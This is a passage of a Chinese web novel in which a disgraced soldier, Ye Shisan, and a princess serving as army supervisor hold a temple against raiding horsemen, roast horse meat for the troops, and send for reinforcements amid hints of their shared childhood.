“杀进去,他们人不多。”
有铁甲鞑子高举着弯刀暴喝一声。
一手高举着火把,另一只手挥舞着弯刀的革甲鞑子兵们,又镇定了下来向庙门冲了过来。
“嗖嗖嗖……”
弩箭的破空声,羽箭的震颤声,霎时就和鞑子兵们的喊杀声交织在一起。
不断有鞑子兵落马坠地,更多的鞑子兵,叫喊着从后面又涌了上来。
一些没有骑马的步军,避开向庙门的冲锋,直接冲到了两侧围墙下面。
前面的步军刚蹲了下来,后面的步军就踩着他们上肩膀,直接爬上了庙墙。
“啊……”
又是一声撕心裂肺的惨叫。
第一个从围墙上面冒出上身的鞑子兵,就被从围墙里面抡过来的一把佩刀,寒光一闪就被砍掉了脑袋。
一个鞑子兵栽下了围墙,更多的鞑子兵,又踩着同伴的肩膀爬了上来。
庙门外面喊杀震天,庙墙里面,却是屡屡得手。
不一会,足有三十几个鞑子兵已经丧命。
“不好,快顶不住了,马成他们没箭了。”
叶十三淡淡一句,却听得香香郡主一身冷汗。
“那么,我们冲出去,在外面和他们拼了。”
“不是我们冲出去,而是让他们冲进来。”
“你疯了?”
“我没疯,只是饿了。”
“饿了?你不会是想杀死鞑子兵,再吃他们的肉吧?”
“亏你想得出,你的肉我都不吃,他们的肉更臭!”
“叶十三,你不要脸。”
“要脸干什么?我叶十三只要命,命要是没了,脸还不如一张擦屁股的草纸。”
“你混蛋!”
“你闭嘴。”
就在二人斗嘴之时,忽听到外面苏哲大吼一声“杀”。
不好,箭簇射完了,步弓手压制不住鞑子兵的进攻了。
“你在这里别动,我出去迎敌。”
叶十三说着,人已经到了大殿门口。
“不,我也去。”
香香郡主提着剑,快步就跟了过去。
知道香香郡主在后面跟着,叶十三头也没回,冷冷说道:“还是照旧,不能离开我五步范围。”
说完,叶十三就像一只大鸟,几个纵跃,展开双臂就直接从庙院的大门口冲了出去。
“叮当……”
一阵金属的撞击声响过,几个革甲鞑子兵,已经倒在了地上。
“杀,冲出去!”
苏哲一惊,挥着手中的那把镶嵌着宝石的佩刀,一阵乱砍就冲了出去。
这一来,鞑子兵们齐刷刷后退了几十步。
“快,解下他们的箭囊,扔给我们的人。”
又把一名铁甲鞑子兵从马背上砍翻在地的叶十三,回头就向香香郡主大吼一声。
没错!
地上鞑子兵的尸体上,还背着箭囊。
“好!”
香香郡主喊了一声好,用手中的剑,直接从鞑子兵的尸体上挑断牛皮绳子,片刻间就收集了十几只插满着羽箭的箭囊。
看到香香郡主已经得手,叶十三向苏哲吼道:“快,撤回庙中,关起庙门。”
霎时间,冲出去的卫兵们,又迅速撤了回来。
“哐当!”
两扇庙门,被从里面关了起来。
“为何不趁胜杀再一阵?”
紧张得额头都出了汗的香香郡主,不解地望向叶十三。
“敌贼人数多于我们数倍,外面地势空旷,鞑子兵要是采用弓箭,我们如何抵挡?”
叶十三眼睛一瞪,没好气地回了香香郡主一句。
此时的马成,已经把香香郡主扔进院子来的箭囊,分给自己带着的步弓手们。
叶十三的这一通猛砍,还真让鞑子兵们慌乱了一阵。
如此一来,从被砍死的一十二具尸体上,就收获了一十二只箭囊。
鞑子骑兵的羽箭,那可是准头极好的雁翎箭,相比之下,卫兵们原来的鹅毛箭,那就差了许多。
一只箭囊,装满后足有五十支箭,如此一来,最少有五六百支雁翎箭,被及时地补充到步弓手的手中。
苏哲望着步弓手们手中笔直的箭杆,不由得把敬佩的目光投向叶十三身上。
这一瞅,吓了苏哲一跳。
此时,叶十三的手中,已经握着一张从鞑子兵身上夺来的硬弓。
那个被叶十三砍死的铁甲鞑子兵,背上的硬弓顺手就被叶十三拿了过来。
那动作,从砍人到夺弓,行云流水一气呵成。
苏哲真是怀疑,这些,一个充军不久的奴籍,究竟是如何做到的?
就他这等弓马娴熟的骠骑校尉,也不一定能在瞬间就完成这些动作的。
何况,叶十三是步军对骑兵。
“咴咻咻……”
一阵战马惨叫的声音传了过来,透过围墙的豁口,看到被叶十三砍断了一条腿的鞑子战马,拖着惨躯慌乱地跑到了庙后倒了下去。
此时,退后了几十步的鞑子兵们,又纷纷向庙前冲了上来。
叶十三一瞥几名卫兵,低声道:“后门那边光线暗,悄悄出去,把那匹马的三条腿给卸了拿进来。”
然后,目光又转向马成,道:“派几个步弓手过去,守住后门那块。”
卸马腿?
这都什么时候了?
香香郡主面色一寒,道:“大敌当前,你还有心惦记着几条马腿?”
叶十三没有理会香香郡主的话,目光一直盯着庙院的大门外面,沉声又道:“放箭,别让他们靠近。”
说着,叶十三自己找了一处适合射击的位置,从一名步弓手的手中,接过一支雁翎箭搭在弦上。
看到叶十三张弓搭箭,香香郡主的心也痒了起来。
这混蛋能射?
那本郡主更能射。
“把弓给我!”
香香郡主凑了上来,把手伸向一名步弓手。
“郡主接着。”
步弓手赶忙把手中的一张硬弓递向香香郡主。
此时,围过来的鞑子骑兵,已经不足五十步远。
这种距离下,准头那是毫不用说,就是闭着眼睛,也能射中鞑子骑兵的任何部位。
但关键的一点,那就是箭簇能不能穿透鞑子骑兵身上的战甲?
这些骑兵和步军,都是铁甲和革甲,防护之严那是不用说了。
再者,就是一箭射出,有的鞑子骑兵会拿兵器挡开。
但眼下,再无更好的选择,用箭来压制进攻,要比直接拼杀占优势。
叶十三选中了离他五十步远的铁甲骑兵。
这个铁甲骑兵看似年纪不是很大,从肩头的护肩虎头判断,也应该是类似百夫长之类的身份。
弄死一个军职高的,要比杀一个普通兵士,产生的震慑力要大多了。
果然没错,那个骑在一匹高头大马上的鞑子骑兵,手中举着的不是弯刀,而是一把宽面大刀。
映着火把的光,可以清晰地看到,那把宽面大刀的握柄处,有彩色的宝石泛起点点灿烂的光芒来。
他娘的!
还真是个将领,老子这就先弄死你!
“咯吱吱……”
被夺过来的那把硬弓,被叶十三拉得一阵作响。
叶十三左臂平直前伸,右手把弓弦,慢慢拉成一轮满月的形状。
屏主呼吸的叶十三,左手微微高抬一点,握弓处的拇指上搭着的箭簇,缓缓对准了对方的咽喉。
“嗖!”
随着牛筋弓弦震动的颤音,那支雁翎箭就像流星一样带着灰白的尾巴,瞬间就消失在鞑子骑兵的咽喉处。
“叮……”
又是一声脆响,直接射穿了鞑子咽喉的那支雁翎箭,箭簇又在后面一名鞑子骑兵高举着的弯刀上撞击出一片火星。
鞑子骑兵只觉得手臂一麻,手中的弯刀,已经脱手而飞砍向旁边另一匹战马的马胯。
“咴咻咻!”
被飞出的弯刀砍中了后胯的战马,霎时前蹄就直立起来,把背上毫无防备的骑兵直接掀翻在地。
吃疼的战马,后胯上还带着那把弯刀,立刻就在马队中横冲直撞起来。
同时,被叶十三一箭射穿咽喉的鞑子骑兵,连一声惨叫都没发出,“扑通”一声就栽下了马背。
第165章 郡主,您饿了?
这一箭,不大鞑子们大惊失色。
就连一旁的苏哲,也被惊得半天都合不拢嘴。
也正是这一箭,打击得跃跃欲试的香香郡主,都没有了开弓放箭的欲望。
目测那张硬弓,可不是一般步弓手就能拉得开的。
但叶十三拉开了,而且还是满弦。
“好!”
回过神来的马成,也不禁大叫一声好来。
“吼什么?”
不料,这一声好,叫得叶十三怒骂起来。
“隐蔽,乱喊什么?”
黑暗中的马成脸上一红,猫着腰就蹿到自己瞅准了的位置上。
此时暴露自己的位置,那是一件很危险的事情。
果然!
叶十三的话刚落,一阵箭雨就狂泻而来,压制得叶十三们不敢抬头。
趁着一轮箭雨的压制,鞑子兵的步军,又开始翻越墙头。
“注意墙上!”
猫着腰的叶十三大吼一声,随即一挥手中的那张硬弓,把一名从他头顶攀上墙头的鞑子步军,套住脑袋一抡胳膊,就甩进了院内一丈远。
被甩进来的鞑子步军,已经在地上一动不动,脖子侧面,被弓弦直接切断。
汩汩的血,在地上的积雪上又流了开来。
映着火光,就像一支腊梅在怒放。
“扑通,扑通……”
紧接着,苏哲带着的趟子手们,也陆续砍翻了几个攀越墙头的鞑子步军。
其中有两个鞑子步军,也被掉落在院子里面。
“射马!”
马成到底是步弓手,看到外面一片混乱,已经无法准确瞄准,直接大吼着让射鞑子骑兵的战马。
这一手,也是有效。
战马吃疼,就会不受控制,横冲直撞之下,踩踏也会造成鞑子骑兵们的损失。
一声令下,步弓手们乱箭齐发。
既然无法有效瞄准,那就射中什么算什么!
与其把箭射在鞑子骑兵们的革甲和铁甲上,还不如把他们的战马给射惊射废。
原本对射杀已经心灰意冷的香香郡主,这时候一双美眸又亮了起来,直接从那名步弓手的手中要过箭囊,一支接一支地向外面的鞑子群中射去。
一时间,不断有箭射了进来插在雪地上。
也有箭从马成们的手中接二连三地射向外面。
墙头不断有鞑子的步军被砍中后掉落下去,也有落到院子里的鞑子步军,被苏哲带人围攻下砍成肉酱。
马的嘶鸣声,兵器清脆的撞击声,惨叫声和重物落地的沉闷声,霎时就交织成一片。
叶十三顺着庙墙来回奔波,左手的弓弦,套住了好几个攀上墙头的鞑子步军的脖子,右手的残刀,也砍掉了不少鞑子步军的脑袋。
这种从下而上的截杀,叶十三的两条袖子,顺着手腕已经被灌进了不少的人血。
“呜呜呜……”
外面突然响起了一阵号角。
鞑子兵们开始撤退,不敢掉以轻心的叶十三紧贴着庙墙,胸脯起伏得比香香郡主的胸脯还要高上几分。
“他们撤兵了?”
被惊出了一身冷汗的香香郡主,一张俊俏的粉脸上,已经被溅满了人血。
“不会,他们只是退回到弓箭的射程之外,而不是撤兵。”
大口喘着气的叶十三,瞥了一眼身边的香香郡主,又道:“去,把那些马腿烤了,兵士们得补充体能,战斗还远远没有结束。”
“我?”
“你什么你?”
叶十三眼睛一瞪。
“可我,不会烤肉啊!”
香香郡主快要哭了,不知道该如何去办?
让一个京都来的郡主,而且还是监军,去给兵士们烤马肉吃?
这样的事,也只有叶十三能干出来。
也只有他敢这样做。
“不会烤也要烤!”
叶十三面色一冷,口气硬得丝毫没有商量的余地。
“混蛋,你居然敢如此无礼,再说我真不会烤肉。”
香香郡主一下子就暴怒起来,低声威胁起叶十三来。
不料,叶十三一把攥着香香郡主的一只手腕,把一张同样溅满了血污的脸,几近贴在香香郡主的脸上,低声怒道:“你才是混蛋,你以为这是让你伺候人?”
停顿片刻,叶十三咬牙又道:“郡主亲自烤肉给大家吃,这士气岂能不振?”
“啊……”
这下,该香香郡主吃惊了。
这是让她给大伙打气,兵力如此悬殊,又在敌人的重围之下,士气就是唯一的活命机会。
“不早说?”
香香郡主口气软了下来。
“现在说也不迟。”
叶十三贴着香香郡主的耳根,喷出的热气让香香郡主脸上一阵痒痒。
“带上那两个,让他们去烤,你打下手就成。”
叶十三又是一句,然后迅速把脸离开香香郡主的耳根。
果然,叶十三计算到了。
被攥住了手腕的香香郡主,张口就咬。
一咬走空,鼻孔冷哼一声,然后就溜到不远处的两名新卒跟前,低语几句后,三人顺着庙墙的黑影,就向大殿后面跑去。
大殿后面,又是几间房屋。
房屋靠山崖而建,鞑子兵们无法从这处突破。
两名新卒拽过马腿,熟练地剥皮剜肉,不大一会,四条马腿被剔成了光溜溜的白骨。
火也生了起来,马肉被割成长条,穿在红柳枝上架在火上烤着。
柴火垛上有很多晒干了的红柳枝,用来穿马肉刚好。
看到马肉被烤得滋滋冒油,再是闻不惯腥味的香香郡主,这时候了也觉得胃里空得厉害。
“咕噜噜……”
一阵肠鸣,从香香郡主的腹肚处响了起来。
“郡主,您饿了?”
爬在地上鼓着腮帮子吹火的一名新卒,抬起一张满是黑灰的脸,又道:“隔壁好像是厨房,郡主您摸一些盐巴过来,烤马肉撒上盐巴,能香死神仙。”
另一名新卒不断地翻烤着马肉,插嘴道:“有这些肉烤了,分给大家勉强还能吃饱,要是饿着肚子,哪有气力和鞑子兵拼杀?”
“有叶大人和郡主在,兄弟们就不怕鞑子,那些骑兵的脑袋,不照样被咱的人给砍下来了吗?”
“还真是,叶大人就像是天神下凡,凶悍得不是一般。”
“郡主您也不赖,亲临一线和小的们杀敌,小的们背后都说郡主您爱兵如子呢?”
“你放屁!”
爬着吹火的新卒,又仰起头来说道:“杨老二,你可别胡说,郡主如此芳龄,还未出阁,哪有子嗣?”
“你看你!”
被叫杨老二的新卒,撇撇嘴又道:“我就是打了个比方,说明郡主对咱兄弟们的爱护。”
香香被夸得脸上一阵发烧,连声说道:“小心烤焦了,本郡主去找些盐巴过来。”
说着,香香郡主转身要走。
“郡主,拿着这个!”
吹火的新卒,从火堆中抽出一根燃着的木柴,道:“拿着照亮用。”
香香郡主接过燃着的木柴,向旁边的一间黑乎乎的屋子摸去。
此时她才知道,在实战中,她从兵书上学的那些战术,压根就是些没用的东西。
排兵布阵,只是一种战略上的战术而已,可在眼下的这种游击战中,屁作用都没有。
就这些生活常识,都胜过了不少的兵法。
“吱吱……”
就在香香郡主伸手推开房门的瞬间,一个毛茸茸的东西尖叫一声,从香香郡主的脸上一扫而过。
“啊……”
一声惊叫之下,香香郡主被吓得,手里燃着的木柴差点掉地熄灭。
第166章 吓死宝宝了
借着火光,勉强才能视物。
惊魂未定的香香郡主,这才看清刚才跳到她脸上的,是一只硕大的老鼠。
吓死我了!
不能退缩,要是就这样跑回去,就会被那两个兵卒笑话。
叶十三那混蛋说得对!
鼓舞士气很重要,我是郡主,又是监军,我必须身先士卒。
一手举着燃着的木柴,一手按着胸口的香香郡主,小心翼翼地向屋子角落的一只瓦罐走去。
运气不错,还真是盐巴!
长出了一口气的香香郡主,一只空着的手,把瓦罐紧抱在怀里,眼神盯着那只比她还要惊慌的老鼠,一步一步退出了伙房。
不大一会,第一波马肉被烤好。
香香郡主双手并用,抓着红柳枝的一头,把烤好了后又撒上盐巴的马肉,拿去给卫兵们开始分发。
“快,抓紧时间趁热吃。”
被分到烤马肉的卫兵们,顿时就来了精神。
“谢郡主!”
他们万没想到,平日里刁蛮骄横的香香郡主,这时候亲自给大伙弄吃食。
“给,你的,趁热吃!”
一串烤马肉,被递在叶十三面前。
叶十三斜眼一瞥烤得喷香的马肉,撇嘴道:“你先吃一口,剩下的我再吃,万一你在里面下毒……”
“混蛋,你可看好了?”
黑暗中香香郡主借着微弱的光亮,满脸怒气地从递向叶十三的那串烤马肉上面,狠狠地咬了一口就大嚼起来。
“看到了没有?”
等把嘴里的肉吞进肚里,香香郡主问了一句,紧接着又是一口。
“哪
拿来吧你!”
叶十三突然伸手,从香香郡主手中夺过剩下的半串马肉,说道:“你先吃一口,目的就是证明你没给我下毒,谁让你往完吃了?”
说着,叶十三大嘴一张,一口就把红柳枝上剩下的半串马肉扯进嘴里大嚼起来。
接连来回跑了几趟,终于送完了几拨马肉,香香郡主这才得空在火堆旁坐了下来。
“郡主,要么您也尝尝,很好吃的!”
知道闻不得腥味的香香郡主不吃这些东西,一名新卒还是把一串烤得冒油的马肉递向香香郡主。
奇怪!
方才赌气之下,连吃了两口烤马肉,居然没有反胃?
香香郡主这才反应过来,叶十三哪是怕她给马肉下毒?
而是激将她,让她去吃这些她压根就不吃的食物。
混蛋!
你给我等着。
香香郡主毫不扭捏,接过新卒递过来的肉串,偏着脑袋就大吃起来。
这一通吃相,把两名烤肉的新卒,看得愣在一旁直发呆。
四
三条马腿,差不多剐下来一百多斤肉,六十多人不到半个时辰,就把烤得半生不熟的马肉消耗了个精光。
此时已到半夜,但坚守在庙墙底下的卫兵们,却是热血沸腾。
肚里有食,身上就有劲。
加上高高在上的香香郡主,来回跑着给大伙送烤肉吃,这士气,一下子就高涨了起来。
精神大发的苏哲,带着几名卫兵猫着腰溜了过来。
“叶将军,末将建议还是杀出去好了?”
“小的愿意跟着叶将军,和鞑子骑兵决一死战!”
“您就下令吧!被困在这里,要是鞑子的援兵到来,我们只有等死。”
卫兵也装着胆子,向叶十三请求出战。
叶十三微微颔首,他要的就是这个效果。
兵熊熊一个,将怂怂一窝。
“好!”
叶十三站了起来,目光一扫重新回到他身边的香香郡主,又把视线转移到苏哲脸上,沉声道:“主动出击倒是个好办法,但这个任务由本将去完成,你们留下坚守这破庙的阵地,确保郡主不能掉一根汗毛。”
“将军……”
苏哲急了。
叶十三摆摆手,直接打断苏哲后面要说的话,又道:“本将一个人目标小,趁黑可潜到敌军后面突发袭击,如此一来,敌军阵脚必定大乱。”
“这太危险了!”
香香郡主一急,插嘴就是一句。
叶十三摆摆手,道:“大伙一同出击,才是最危险的,让敌人直接把我们包围起来,还不如这破庙里面安全。”
话一出口,香香郡主就后悔了。
如此简单的问题,她如何就没有想到?
鞑子兵们真愁攻不进来,要是大家都冲出去,岂不是正好被数量多于他们几倍的兵力四面包围?
“不行,我跟你一起去。”
眼看不适合全体出击,香香郡主拿起剑来,要跟着叶十三一同去突袭。
“本将说了,一个人行动目标小,趁黑从外面的视线死角潜入敌后,两人如何能行?”
叶十三耐着性子,把理由又说了一遍。
“不行,本郡主就要去。”
面对叶十三的话,香香郡主干脆听不进去,执意要跟着叶十三潜入敌后。
草!
要不是你们这些累赘,老子一个人早就杀得血流成河了。
第一次在黄羊岘,借着漫天的尘土,老子不就杀了个痛快?
眼下五六十人,才杀了多少鞑子兵?
叶十三目光冷冷,看向苏哲,突然低声吼道:“绑了!”
“请郡主留下,末将和大家才能保护郡主。”
“反了,你敢?”
香香郡主一看苏哲的神色,怒道:“我的卫兵,居然准备绑我?”
苏哲面颊一抽,立刻单腿跪地,拱手说道:“为了郡主的安全,末将不得不听叶将军的。”
“你……”
香香郡主被苏哲的话,顿时就气得浑身发抖。
“叶十三,你……”
转过头来,准备骂叶十三的时候,这才发现,方才还站在这里的叶十三,此时已经不见了踪影。
“混蛋,不要脸。”
香香郡主大骂一句,然后急急猫腰贴在庙墙后面。
苏哲心里清楚,如此耗下去,最终吃亏的还是他们这些人。
“郡主,末将以为,叶将军的战术很有道理。”
忐忑不安的苏哲,红着脸辩解了一句。
“闭嘴!”
余怒未消的香香郡主,在黑暗中狠瞪苏哲一眼,怒道:“就你聪明,本郡主何尝不懂这些?”
“末将……”
自知无法讲理,苏哲只好把后面想说的话,硬生生给咽了回去。
看到苏哲闭口不言,香香郡主美眸闪过一丝得意,道:“要是本郡主少一根汗毛,不等朝廷发落,叶十三他先会活剥了你的皮。”
“那是,那是……”
苏哲讪讪一笑,赶快把视线投向退到弓箭射程之外的鞑子兵们。
此时,夜更黑了。
鞑子兵们高举的火把,也燃烧殆尽弱了下来。
突然,苏哲看到,那些原本已经不太亮的火把,一下子就分散开来,而且还有不少的火把熄灭。
叶十三他,成功潜入敌后了?
“郡主快看?”
苏哲一阵激动,用刀指着开始骚动了起来的鞑子兵队伍。
“这混蛋,凶悍得还真不一般。”
当然,一直注视着敌军阵型的香香郡主,也注意到了鞑子兵们突然的变化。
“啊……”
随即,撕心裂肺的惨叫声,也接连传到了大家的耳中。
第167章 调兵遣将
兵器尖锐的撞击声,不断传了过来。
鞑子兵阵营里的火把,亮着的越来越少。
开始有无主的战马,在庙门外面悲鸣着四处狂奔。
有的战马狂奔着的时候,马镫里还套着鞑子骑兵的一条腿。
而被马镫套住了腿的鞑子骑兵,一颗脑袋被战马拖着在雪地上乱磕乱碰。
不用说,这些鞑子骑兵,已经奔赴在投胎的路上了。
庙墙内观战的卫兵们,热血又沸腾起来。
“杀,杀,杀……”
刚进入村子时,叶十三部署了喊杀造势的那八个卫兵,又受到启发的他们,举着手中的佩刀高喊起来。
这一喊,所有的卫兵,惊天动地的一起喊了起来。
“杀,杀……”
香香郡主也高举着手中的剑,扯着嗓子造势助威。
“啊……”
在排山倒海的喊杀声中,敌军阵营中,最后一支火把,在一声惨叫声里熄灭。
一阵夜风吹来,血腥味令人作呕。
外面已经漆黑一片,四处乱窜的无主战马不时地嘶鸣着外,再也听不到任何活物的喘气声。
死一般的寂静,让方才还亢奋不已的香香郡主,渐渐感到恐慌起来。
这混蛋,不会是……
呸呸呸!
乌鸦嘴,可不敢这么想,那混蛋死不了。
香香郡主的心里,已经乱了起来。
“苏哲!”
“末将在。”
“打开庙门,跟本郡主冲出去!”
“郡主,叶将军有令,任何人不得擅离阵地一步。”
“放屁,本郡主的话,难道就不是命令了?”
香香郡主瞬间暴怒,就差拿剑指着苏哲的咽喉了。
“我看谁敢违抗本将的命令?”
突然,一个熟悉的声音,从身后响起。
“混蛋!”
香香郡主一怔,突然扔掉了手中的剑,一转身就扑了上去。
是叶十三,在院中篝火辉映下,咧着嘴笑着。
“啊……”
突然被香香郡主双臂抱住脖子的叶十三,杀猪一样的惨叫了起来。
“大人……”
“叶将军……”
忽然间围了过来的卫兵们,惊叫一声后,都咧着嘴开始笑了。
“叶将军,您,您没事吧?”
苏哲面颊一阵急抖,借着不远处微弱的篝火,颤声就是一句发问。
“屁话!”
叶十三双手垂着,咧着嘴骂道:“眼瞎啊?老子的耳朵都快被咬掉了,你这王八蛋还说没事?”
“哈哈哈……”
这下,不但苏哲弯着腰笑了,所有的卫兵们,也都笑得直不起腰来。
“让你吓我!”
香香郡主松开了双臂,面颊滚烫地又骂一句。
看到香香郡主丢开了叶十三,苏哲和卫兵们即刻止住了笑,纷纷立在原地不动。
男女授受不亲,堂堂郡主,居然当着自己卫兵们的面,差点把叶十三的一只耳朵给咬下来。
“嘶……”
叶十三倒吸一口凉气,摸着右面耳朵上的一排牙印,冲着眼前的卫兵们吼道:“生火,烤肉。”
“遵命!”
卫兵们呼啦啦一下,分头四散,提着刀出去庙外剐马肉的剐马肉,在大殿后面抱柴火的抱柴火。
不多时,庙内大殿前的空地上,六堆篝火被燃起。
除了在庙内四周值哨的卫兵外,其余人纷纷围着篝火,用树枝挑着从鞑子骑兵战马身上剐下来的马肉,在火堆上烤得滋滋冒油。
……
终于,天亮了。
打着饱嗝的叶十三,目光一扫眼前满脸血污的卫兵们。
“马成听令,打扫战场,登记战绩战损。”
“啊……”
从自己脸上抠下来一层血痂的香香郡主,尖叫一声就奔出庙门,从一处矮墙上面抓起两把白白的积雪,左右开弓就在脸上擦拭起来。
不大时候,马成双手捧着一把握柄镶满了各色宝石的大刀,一脸惊喜地奔到叶十三面前。
“大人,是把好刀。”
“华而不实,光好看有个屁用,赏给你了。”
“谢大人!”
马成一脸喜色,把捧着的那把战利品,递给身边的一名新卒。
“禀大人,此战歼敌,加上之前的那些,铁甲二十一数,革甲六十七数,归拢回来的无伤战马一十九匹,缴获兵器……”
另一名卫兵上前,向叶十三单腿跪地,拱手禀道:“禀叶将军,此庙一战,我方无一战损。”
无一战损?
香香郡主和苏哲二人,对视一眼,不可置信地把目光,从自己的卫兵们脸上一一扫过。
除了之前受伤的三名兵卒外,其余人都毫发无损。
这一战,在叶十三的指挥下,不但没有战损外,还打出了卫兵们的士气和信心。
叶十三目光望着空无一人的村子,面色阴沉得吓人,丝毫没有作为战胜者的半点喜悦。
“苏哲听令!”
“末将在。”
叶十三目光看向苏哲,冷声道:“带上几人,速去万川郡北防军大营传本将命令,让周大祥将军派出一万兵马,五千开往黄羊岘防区,另外五千火速驻扎西河镇沙柳滩村,与郭威的二百多驻军一起守住沙柳滩村。”
“末将遵命!”
面色凝重的苏哲,叶十三手中接过那枚大将军兵符,转身又向香香郡主一礼,道:“郡主保重,末将告辞”
望着苏哲的背景走远,叶十三目光又停留在马成脸上。
“马成听令!”
“小的在。”
“你拿着郡主的监军令符,带几个人跑一趟通天驿镇,命岳佟大将军调拨一万兵马,火速开往我黄羊岘防区,分开五千增援狼嚎岭和兔窝堡。”
此言一出,香香郡主从怀里拿出那枚黑色的虎头兵符,举在手里问道:“为何不让苏哲拿本郡主的监军令符,而让马成拿监军令去找岳佟,如此倒置,究竟是何用意?”
“拿来!”
叶十三一伸手,就从香香郡主手里夺过监军令符,反手扔给马成。
看到马成带人走远,叶十三这才低声说道:“你懂个屁!”
此言一出,香香郡主直接炸肺。
“叶十三,你混蛋!”
“闭嘴。”
叶十三低吼一声,压低声音又道:“让苏哲拿我兵符去万川郡北防军大营传令,说明我不是私调军队。”
“马成也是一样,人是我的手下,但拿着你的监军令,去向岳佟传你军令,照样是公事军务,没有私调军队的嫌疑。”
“周大祥他们几个将领,还有岳佟大将军,这些人都不糊涂。”
叶十三一口气道破个中道理,狠瞪香香郡主一眼,便去向庙内忙碌着清理战利品的卫兵们去布置新的任务。
这混蛋!
在军中才多少日子?
作战经验如此丰富,战斗力也是突出恐怖,短短时间,他是如何学得这些?
难道?
他在京都的时候,早已熟读兵书?
而且还武艺超群?
一连串的问号,在香香郡主的脑子里不断出现。
一阵欣喜之下,香香郡主突然又陷入一片恐惧,眼里尽是迷惘之色。
第168章 此时只有一路杀回去
看得出来,她的这些卫兵们,已经完全被叶十三折服。
这些在京都都横冲直撞的卫兵们,此时在这里,对叶十三已经是敬佩有加。
包括将门出身的苏哲,原本的高傲,在叶十三面前荡然无存。
这混蛋,居然有如此的魅力?
香香郡主心中,不免又是一阵慌乱,急忙从地上抓起自己的剑,重新佩带在腰间后,这才匆匆赶向庙门口。
马成和苏哲,各带走五人后,眼下双方总共只剩五十名卫兵。
其中香香郡主的卫兵四十五人数,叶十三自己的新卒五人数。
叶十三目光一扫众卫兵们,沉声道:“骑上各自的战马,缴获的鞑子骑兵的那些战马,挑好的牵着,实在看不上眼的,弄死算了。”
“回大人话,那些战马都是良等好马,带回去让熟悉几天口令,就可使用了。”
香香郡主的一名卫兵,急忙向叶十三禀报。
“行了!”
叶十三点点头,目光看向狼嚎岭方向,又道:“一半的鞑子兵趁黑逃了,我们此去,说不定还能遇到逃散的鞑子步军。”
此时,香香郡主也上了自己的战马,一勒马缰说道:“一切以叶将军命令是从,胆敢违令者,斩!”
叶十三斜瞥香香郡主一眼,翻身跨上自己的战马后,大手一扬吼道:“前方西北方向开拔,遇到逃散的鞑子兵,无论骑兵还是步军,一律就地射杀。”
“遵命!”
五十名卫兵,应答声如雷。
经过打扫战场,每个人的后背上,都背着一只插满了雁翎箭发箭囊,还得挑选了一把好弓背着。
五十匹战马,霎时就飞奔起来,扬起一片积雪,就向狼嚎岭方向而去。
一路上,雪地上随从可见凌乱的马蹄印。
“情况不妙!”
叶十三眉头紧锁,道:“这次元蒙鞑子入侵,将军队分成几支,从不同的防区分头越境,采用游击战来牵制我军的部署。”
“你是说,昨夜和我们发生激战的,只是其中的一支?”
香香郡主面色一紧,不由得又是一阵慌乱。
“也许!”
叶十三摇摇头,又道:“与我们相遇的,只是打头阵探虚实的一小股而已,大部队也许,已经在我大夏防线以外屯兵了。”
“如此说来,元蒙不惜与我大夏全面出兵了?”
香香郡主又是一惊。
叶十三缓缓又道:“也有这种可能,也许他们在等大夏朝廷的态度。”
香香郡主策马几步,与叶十三的马身平齐后,盯着叶十三的眼睛说道:“如今朝堂上,主战派和主和派势均力敌,边城北防军的态度,对朝局至关重要。”
“朝中局势,关北防军何事?”叶十三的眼神,霎时就变得凌厉起来。
“当然重要了。”
香香郡主思忖片刻,又道:“北防军十万兵马,对谁来说都是一股不弱的底气,自太子被废后,各皇子们之前的夺嫡,眼下已是到了水火不容的地步。”
“所以你来边城,是为淑妃娘娘的儿子,那个新太子培植势力来了?”
叶十三突然一句,让猝不及防的香香郡主一时语塞,张着嘴说不出话来。
“干嘛如此大的火气?”
无话可说的香香郡主,嘟囔一声就不再言语。
火气?
老子心头的火气可大着呢!
太子被废,几个草包皇子一起跳了出来,都盯上北防军这块肥肉。
你们这些鸟人,张口闭口百姓福祉,心里却是盘算着自己的利益。
真当老子是傻子了?
叶十三肚里,已经骂开了锅,只想把香香郡主的两只靴子给扒了,让这傻白甜光着一双脚从雪地里跟着战马跑。
良久,香香郡主硬气头皮,咬牙又道:“你变了,变得陌生了。”
屁话!
你一个高高在上的郡主,和一个被贬的奴籍套什么近乎?
对了!
“你变了?”
这话什么意思?
难道我们之间,曾经真的很熟?
叶十三肚里一阵打鼓,但脑子里又是一片混乱。
香香郡主偷瞥叶十三一眼,小声又道:“我知道,你对我郑家,不但有气,而且还藏有仇恨。”
“此话怎讲?”
叶十三的声音,冷到了极点。
香香郡主一怔,把头一抬,傲然又道:“第一次在何家大院门口见面,你借口训练伤了膝盖,不想给我行大礼,难道这还不够吗?”
“我一到边城,就奔你被充军的地方而来,可我害怕见到你,更怕面对老夫人和彩儿妹妹。”
香香郡主就像自言自语,骑在马背上说个不停。
“等等!”
叶十三脑仁一阵生疼,摆手说道:“你是说,你身领监军职,来边城后,选择了万川郡辖下的通天驿镇,目的就是奔着我来的?”
“嗯!”
香香郡主点点头,面色一红,偷瞥叶十三一眼,幽幽说道:“闰儿哥,有些事情,非你我能左右得了。”
“且慢!”
叶十三突然勒停了战马,目光冷冷看向香香郡主,咬牙问道:“你方才,叫我什么?”
“闰儿哥呀!”
香香郡主的一张粉脸,一下子就红到了耳根,咬了咬嘴唇,小声又道:“小时候,我不是经常这样叫你的吗?”
“而且,你也叫我香儿妹妹的呀!尽管后来十年未曾谋面,但我们小时候一起玩耍的事,一直在我的脑海中挥之不散。”
香香郡主就像梦呓,只顾自说自话,猛然抬头间,看到叶十三的眼中,已是杀机一片。
“对不起!”
香香郡主心头一疼,把脸侧向一边,又道:“我不应该说过这些往事,引得你如此伤心难过。”
脑仁越来越疼,叶十三抓狂似的握着拳头晃了几下,然后双腿一夹马肚,扬起一阵雪片就狂奔而去。
一路上,被杀村民的尸体随处可见。
散落一地的物品也是不少,那些毫不起眼的物品,却是村民为数不多的家产。
洒在雪地上的人血,红得让人惊心怵目。
到处都有燃成灰烬的房屋。
偶有跑散的牛羊,在雪地上哀鸣着。
“大人快看?”
一名新卒从前面折了回来,惊恐地指着前面,急道:“有鞑子的营地。”
鞑子营地?
叶十三猛然抬头,向着新卒所指的方向,把手搭在额头望去。
半里地之外的几棵大树下,有十来个鞑子骑兵在生火,十几匹战马,被拴在旁边的树杆上。
迎着吹来的风,隐隐带着羊肉的味道。
这股鞑子骑兵,或许是探马,或许是走散了的一伙人。
他们抢了村民的羊,准备烤了作早饭吃。
“有情况了?”
香香郡主也赶了上来,茫然地向四处望着。
“有一股鞑子骑兵,在前面扎营。”
